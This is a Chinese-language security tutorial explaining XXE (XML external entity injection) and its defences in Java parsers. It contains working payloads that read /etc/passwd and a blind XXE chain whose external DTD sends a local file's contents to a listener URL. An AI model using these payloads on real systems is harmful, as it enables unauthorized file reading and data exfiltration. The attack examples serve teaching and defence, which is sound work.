XXE漏洞原理以及防御方式

前言

web中除了我们熟悉的传参,或者JSON格式实现客户端与服务器之间的数据交流,还有XML的方式,熟悉开发的小伙伴肯定接触过它,比如在SpringMVC中的各种配置。同时XML也是许多使用XML schemas实行数据交换的协议的基础,例如RSS,Atom,SOAP等。
那么在web中使用XML进行数据交互会出现什么安全问题呢,这就是我们这里要讲的XXE漏洞。

XXE漏洞介绍

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。

相关概念以及利用方式

DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。
引用方式:

  1. DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>
  2. DTD 外部引用
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
  3. 引用公共DTD
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

ENTITY

XML中的实体类型,一般有下面几种:命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
1.内部实体
一般用于变量声明
<!ENTITY 实体名称 "实体的值">
如:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY x "Hello">
  4. <!ENTITY y "World!">
  5. ]>
  6. <root><x>&x;</x><y>&y;</y></root>

XXE原理和防御 - 图1

2.外部普通实体
一般用于加载外部文件,不同程序支持的协议不一样。这里我们就可以利用不同协议来达到任意文件读取/内网探测等。
XXE原理和防御 - 图2

<!ENTITY 实体名称 SYSTEM "URI/URL">
如:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY x "First Param!">
  4. <!ENTITY y "Second Param!">
  5. <!ENTITY xxe SYSTEM "file:///etc/passwd">
  6. ]>
  7. <root><x>&x;</x><y>&y;</y><xxe>&xxe;</xxe></root>

XXE原理和防御 - 图3

3.外部参数实体
参数实体用于DTD和文档的内部子集中。与一般实体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。除了可以完成有回显的情况。这里还可以用于Blind XXE攻击。
<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">
如(Blind XXE):
由于语法限制所以我们需要在外部DTD中接受对应参数

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % file SYSTEM "file:///Users/ruilin/test/flag">
  4. <!ENTITY % dtd SYSTEM "http://rui0.cn/test/evil.dtd">
  5. %dtd;
  6. %send;
  7. ]>

evil.dtd 内部的%号要进行实体编码成&#x25
(这里的http://127.0.0.1:8888大家可以理解为自己VPS,我这里为了方便直接使用本机接收读取内容)

  1. <!ENTITY % all
  2. "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8888/?file=%file;'>"
  3. >
  4. %all;

XXE原理和防御 - 图4

XXE漏洞防御

JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

  1. // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
  2. setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  3. // 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
  4. setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
  5. setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC

最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
修复代码如:

  1. public String xxe_SAXParser_fix(HttpServletRequest request) {
  2. try {
  3. String xml_con = getBody(request);
  4. System.out.println(xml_con);
  5. SAXParserFactory spf = SAXParserFactory.newInstance();
  6. spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  7. spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  8. spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  9. SAXParser parser = spf.newSAXParser();
  10. parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler()); // parse xml
  11. return "test";
  12. } catch (Exception e) {
  13. System.out.println(e);
  14. return "except";
  15. }
  16. }

2.检测/过滤关键词
常见的可以过滤ENTITY,openrasp采用的方式为检测敏感协议和读取的敏感文件。但都存在被绕过的风险。